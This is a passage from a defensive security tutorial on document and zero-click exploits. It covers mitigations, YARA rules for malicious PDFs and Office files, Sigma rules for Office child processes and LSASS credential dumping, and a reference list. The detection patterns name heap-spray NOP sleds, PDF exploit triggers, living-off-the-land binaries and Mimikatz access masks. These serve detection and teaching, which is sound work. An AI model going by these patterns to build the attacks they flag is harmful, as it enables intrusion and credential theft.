• Deploy email filtering that strips or detonates attachments. Use a solution that opens every attachment in a sandbox VM, waits 60+ seconds, monitors for network connections, file drops, and process creation. Strip macros from all incoming .docm/.xlsm files. Convert .doc (OLE format) to .docx (OOXML) on the gateway since OLE is the riskier format. Why it works: A sandbox will trigger most exploit chains and detect the behavioral indicators (C2 connections, payload downloads) even if the exploit uses a zero-day. Specifically prevents: Any document exploit that requires network activity for its second stage — which is almost all of them.

Against Zero-Click Exploits

• Update your OS and apps immediately when security patches are released. Zero-click exploits have extremely short effective windows — once Apple/Google patches the parser bug, the exploit is worthless. Enable auto-updates. Why it works: Every zero-click exploit targets a specific parser bug in a specific version. The patch either fixes the bounds check, adds input validation, or removes the vulnerable code path. Specifically prevents: FORCEDENTRY targeted iOS versions before 14.8. BLASTPASS targeted versions before 16.6.1. Each patch closed the exact code path the exploit used.
• Enable Lockdown Mode (iOS 16+) if you're a high-risk target (journalist, activist, government official, executive). Lockdown Mode disables: (a) most iMessage attachment types beyond basic images, (b) JIT compilation in Safari, (c) incoming FaceTime calls from unknown contacts, (d) USB connections while locked, (e) MDM profile installation. Why it works: It eliminates the attack surface. FORCEDENTRY relied on automatic JBIG2 parsing in iMessage — Lockdown Mode blocks these attachments entirely. BLASTPASS relied on PassKit previews — Lockdown Mode blocks them. Specifically prevents: Both FORCEDENTRY and BLASTPASS chains would have been completely blocked.
• Use network-level monitoring (NDR solutions like Zeek, Suricata, or commercial EDR with network visibility). Even if the initial zero-click exploit succeeds, the implant must communicate with a C2 server. Monitor for: DNS queries to newly registered domains, TLS connections with unusual JA3 fingerprints, periodic beaconing patterns (fixed intervals ± jitter), and certificate anomalies. Why it works: The exploit gives the attacker a foothold, but maintaining access requires network communication. Detecting C2 traffic catches compromised devices even when the exploit itself was invisible. Specifically prevents: Post-exploitation persistence — catching the C2 connection lets you identify and clean compromised devices.
• Reboot devices regularly. Many zero-click exploits (including FORCEDENTRY and Pegasus implants on certain iOS versions) are non-persistent — they live only in RAM and don't survive a reboot. Apple's iOS security model makes persistent kernel modifications extremely difficult. Why it works: A fresh boot starts from verified firmware, clears all RAM, and resets process memory. The attacker must re-exploit the device after each reboot. Specifically prevents: Non-persistent implants, memory-resident payloads, and any exploit that doesn't achieve persistence through a separate write-to-disk mechanism.
• Minimize attack surface — disable Bluetooth, AirDrop, and Wi-Fi when not needed. Each wireless interface is a potential zero-click attack vector with its own parser stack. The Wi-Fi stack processes management frames automatically (802.11 deauth, beacon, probe response). Bluetooth processes L2CAP and SDP packets without user interaction. AirDrop validates incoming shares through AWDL protocol parsing. Why it works: If the radio is off, the parser code never runs. Samsung's Qmage exploit (CVE-2020-8899) required MMS delivery — disabling the default messaging app or using a carrier that strips MMS media would have blocked it. Specifically prevents: Any attack requiring wireless proximity (Wi-Fi deauth attacks, Bluetooth exploitation, AirDrop-based attacks).
• Use a hardware security key (FIDO2/WebAuthn — YubiKey, Titan Key, etc.) for authentication instead of SMS or TOTP. If an attacker compromises your device with a zero-click exploit, they can steal SMS codes and TOTP secrets from authenticator apps. A hardware key requires physical presence and cannot be exfiltrated remotely. Why it works: Even with full device access, the attacker cannot clone the private key stored on the hardware security element. Login requires physical possession of the key + physical touch/button press. Specifically prevents: Post-compromise credential theft, SIM swap facilitation, and remote account takeover even if the device is fully compromised.

The Defender's Mindset

Modern Exploit Mitigations — How They Work

Modern operating systems deploy multiple hardware and software mitigations that make exploitation dramatically harder. Understanding how each one works — and how attackers bypass them — is essential for both offense and defense.

Detection Engineering — YARA Rules

YARA is the industry standard for pattern-matching malicious files. These rules scan PDFs, Office documents, and memory dumps for known exploit patterns. Every SOC should deploy YARA on email gateways, file shares, and EDR agents.

rule PDF_Suspicious_JavaScript {
    meta:
        description = "Detects PDF files with embedded JavaScript (potential exploit)"
        author      = "SOC Analyst Playbook"
        severity    = "medium"
    strings:
        $pdf_magic  = "%PDF-"
        $js_action  = "/OpenAction" nocase
        $js_tag     = "/JavaScript" nocase
        $js_tag2    = "/JS" nocase
        $aa         = "/AA" nocase              // Additional Actions
        $launch     = "/Launch" nocase          // Launch action (runs executables)
    condition:
        $pdf_magic at 0 and ($js_action or $aa) and ($js_tag or $js_tag2 or $launch)
}

rule PDF_HeapSpray_Shellcode {
    meta:
        description = "Detects heap spray NOP sled patterns in PDF JavaScript"
        author      = "SOC Analyst Playbook"
        severity    = "critical"
    strings:
        $pdf_magic  = "%PDF-"
        $nop_uni    = "%u0c0c%u0c0c"           // Classic NOP sled in unicode escape
        $nop_uni2   = "%u9090%u9090"           // x86 NOP NOP as unicode
        $nop_hex    = "\\x0c\\x0c\\x0c\\x0c"  // Hex-escaped NOP sled
        $substr     = "substr(" nocase         // String slicing (shellcode construction)
        $unescape   = "unescape(" nocase       // Unicode decode (shellcode delivery)
        $collab     = "Collab" nocase          // Collab.collectEmailInfo exploit trigger
        $spell      = "spell.customDictionaryOpen" nocase  // Spell check exploit
    condition:
        $pdf_magic at 0 and (any of ($nop_*)) and (any of ($substr, $unescape, $collab, $spell))
}

rule Office_Remote_Template_Injection {
    meta:
        description = "Detects Office docs loading remote templates (CVE-2021-40444 pattern)"
        severity    = "high"
    strings:
        $rels_xml   = "word/_rels/" nocase
        $target_ext = /Target\s*=\s*"https?:\/\/[^"]{10,}"/ nocase
        $target_mode = "TargetMode=\"External\"" nocase
    condition:
        all of them
}

Detection Engineering — Sigma Rules

Sigma rules are the YARA equivalent for log data — they define detection logic that translates to SIEM queries (Splunk SPL, Elastic KQL, Microsoft Sentinel KQL). Deploy these to catch exploit post-exploitation behavior in your environment.

title: Office Application Spawning Suspicious Child Process
id: 5c5e13a2-df44-414c-b7f0-a1cc4f2e8b7d
status: production
level: high
description: |
    Detects Microsoft Office applications spawning cmd.exe, powershell.exe,
    mshta.exe, or other living-off-the-land binaries. This is a strong indicator
    of document-based exploitation (macros, DDE, OLE, Follina).
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\WINWORD.EXE'
            - '\EXCEL.EXE'
            - '\POWERPNT.EXE'
            - '\OUTLOOK.EXE'
            - '\MSACCESS.EXE'
    selection_child:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\mshta.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\certutil.exe'
            - '\bitsadmin.exe'
            - '\msdt.exe'            # Follina (CVE-2022-30190)
            - '\rundll32.exe'
    condition: selection_parent and selection_child
falsepositives:
    - Legitimate Office add-ins that spawn helper processes
    - IT automation scripts triggered by Office macros
tags:
    - attack.execution
    - attack.t1204.002            # User Execution: Malicious File
    - attack.t1059.001            # PowerShell
    - attack.t1218.005            # Mshta

title: LSASS Memory Access by Non-System Process
id: 0d894093-71bc-43c3-8985-a84f8fa4a09f
status: production
level: critical
description: |
    Detects processes accessing LSASS memory — a key indicator of credential
    dumping (Mimikatz, procdump, nanodump). This is Step 5 in our attack chain:
    privilege escalation + credential theft.
logsource:
    category: process_access
    product: windows
detection:
    selection:
        TargetImage|endswith: '\lsass.exe'
        GrantedAccess|contains:
            - '0x1010'    # PROCESS_QUERY_LIMITED_INFORMATION + PROCESS_VM_READ
            - '0x1410'    # + PROCESS_VM_WRITE
            - '0x1438'    # Full access (Mimikatz default)
            - '0x1F0FFF'  # PROCESS_ALL_ACCESS
    filter_system:
        SourceImage|endswith:
            - '\lsass.exe'
            - '\csrss.exe'
            - '\svchost.exe'
            - '\MsMpEng.exe'    # Defender
    condition: selection and not filter_system
falsepositives:
    - AV/EDR products accessing LSASS for protection
    - Crash dump utilities (WerFault.exe)
tags:
    - attack.credential_access
    - attack.t1003.001            # OS Credential Dumping: LSASS Memory

🧪 Security Knowledge Assessment

Test your understanding of the exploit concepts covered in this tutorial. Each question maps to a specific section — review the section if you get it wrong.

Security Analyst Toolkit

Every tool a threat hunter needs in one place. Convert data between formats, encode and decode payloads, hash strings, analyze hex dumps — all client-side, nothing leaves your browser. Use the copy button on any output to grab results for your analysis workflow.

Social Engineering PDF Lab

Social engineering is the #1 initial access vector. Attackers don't just send malware — they send convincing documents. An invoice PDF from a "vendor" is far more likely to be clicked than a random attachment. In this lab, you'll generate a real professional invoice PDF and study what separates it from a weaponized one.

/Page          1
/URI           1
/Action        1
/JavaScript    0    ← clean
/JS            0    ← clean
/OpenAction    0    ← clean
/Launch        0    ← clean
/EmbeddedFile  0    ← clean
/AcroForm      0    ← clean
/XFA           0    ← clean
/Encrypt       0
/ObjStm        0

/Page          1
/URI           0
/Action        3    ← suspicious
/JavaScript    2    ← 🚩 ALERT
/JS            2    ← 🚩 ALERT
/OpenAction    1    ← 🚩 auto-exec
/Launch        1    ← 🚩 cmd exec
/EmbeddedFile  1    ← 🚩 payload
/AcroForm      1    ← 🚩 forms
/XFA           0
/Encrypt       1    ← hides content
/ObjStm        3    ← compressed objs

Security & Exploit Terminology

Quick reference for every technical term used in this tutorial. Terms are grouped by category. Use Ctrl+F to search for a specific term.

Memory & Architecture

Mitigations

Attack Types & Techniques

Detection & Response

Evasion & FUD

References & Further Reading

Primary sources, research papers, and recommended resources for deeper study. Every claim in this tutorial can be traced to these references.

Official Vulnerability Databases

• NIST National Vulnerability Database (NVD) — Authoritative CVE details, CVSS scores, and affected product listings
• MITRE ATT&CK Framework — Adversary tactics, techniques, and procedures (TTPs) knowledge base
• MITRE CVE Program — CVE identifier assignment and vulnerability catalog
• CISA Known Exploited Vulnerabilities (KEV) Catalog — Mandated patching list for US federal agencies

Zero-Click & Mobile Exploit Research

• Google Project Zero — "A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution" (Dec 2021) — FORCEDENTRY analysis
• Citizen Lab — "BLASTPASS: NSO Group iPhone Zero-Click, Zero-Day Exploit Captured in the Wild" (Sep 2023)
• Google TAG — "Buying Spying: Insights into Commercial Surveillance Vendors" (Feb 2024) — 40+ spyware vendors cataloged
• Zerodium — Public exploit acquisition price list (2024) — Market pricing for zero-day exploits

Document Exploit Research

• Proofpoint — "2023 Human Factor Report" — 94% of breaches start with email, phishing statistics
• Microsoft Security Response Center — CVE-2022-30190 (Follina) advisory and mitigation guidance
• Didier Stevens — pdf-parser.py and pdfid.py documentation — PDF analysis tool reference
• Adobe PDF Reference v1.7 (ISO 32000-1:2008) — Complete PDF specification including object model, action types, and JavaScript API

Exploit Development & Mitigation Techniques

• Corelan Team — "Exploit Writing Tutorials" — Stack overflows, SEH exploitation, heap spraying, ROP chain building
• Microsoft — "Control Flow Guard (CFG)" documentation — How CFG validates indirect call targets
• Intel — "Control-flow Enforcement Technology (CET) Specification" — Shadow stack and IBT hardware reference
• YARA Documentation — "Writing YARA Rules" — Official rule syntax and best practices
• SigmaHQ — "Sigma Rule Specification" — Detection rule format with SIEM translation backends

Recommended Books

• Hacking: The Art of Exploitation, 2nd Ed. — Jon Erickson (2008) — Foundational exploit development
• The Shellcoder's Handbook, 2nd Ed. — Anley, Heasman, Lindner, Richarte (2007) — Advanced shellcode techniques
• Practical Malware Analysis — Sikorski & Honig (2012) — Reverse engineering and behavioral analysis
• The Web Application Hacker's Handbook, 2nd Ed. — Stuttard & Pinto (2011) — Web exploit methodology
• Practical Binary Analysis — Dennis Andriesse (2019) — Modern binary analysis with hands-on exercises